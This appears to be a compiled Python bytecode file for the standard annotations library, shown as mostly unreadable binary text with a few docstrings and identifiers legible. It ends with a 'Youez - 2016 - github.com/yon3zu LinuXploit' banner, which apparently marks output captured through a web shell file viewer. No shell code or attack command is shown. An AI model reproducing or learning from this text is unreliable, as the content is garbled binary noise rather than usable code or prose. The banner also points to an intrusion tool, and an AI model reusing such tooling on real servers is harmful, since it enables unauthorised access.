rc��\VRR4pVe5\W!VR7p\V\4'g\	V:R24hV#R#)zOGet the __annotate__ function and call it.

May not return a fresh dictionary.
r	N)rz!.__annotate__ returned a non-dict)r>r�rrGr=)r�r2r�r�s&&  rr�r�gsL��
�s�N�D�1�H���$�X�S�A���#�t�$�$���w�&G�H�I�I��
�r�__annotations__c���\V\4'd\V4pM\	VRR4pVfR#\V\
4'g\
V:R24hV# \dR#i;i)zmReturn the annotations for an object, checking that it is a dictionary.

Does not return a fresh dictionary.
Nr�z+.__annotations__ is neither a dict nor None)rrB�_BASE_GET_ANNOTATIONS�AttributeErrorr>rGr=)r�r�s& rr�r�xsr���#�t���	�'��,�C�
�c�,�d�3���;���c�4� � ��C�7�"M�N�O�O��J���	��	�s�A�A-�,A-)rrr�r�r�r�r�r�)rrr�__weakref__rrr!r"r#r rr�)r�r)&r�rsrN�enumrKr?r:�__all__�IntEnumr�objectrirPr�rrBr�r�rnrur�rGrTr�r�r�r�r�r
r�r�r�rzr�r4�__get__r�r�rrr�<module>r�s��9�
����
��	���T�\�\��
�H�	�5��
�� OG�OG�d
��I�	�~�~�BJ�**�,6�*#�t�#�LT�d�T�Y8�d�Y8��Y8�x)�<	�	2�p��p�!%�p�05�p�>D�l�l�p�f�(����
�
�&7�8�@�@��r

Youez - 2016 - github.com/yon3zu
LinuXploit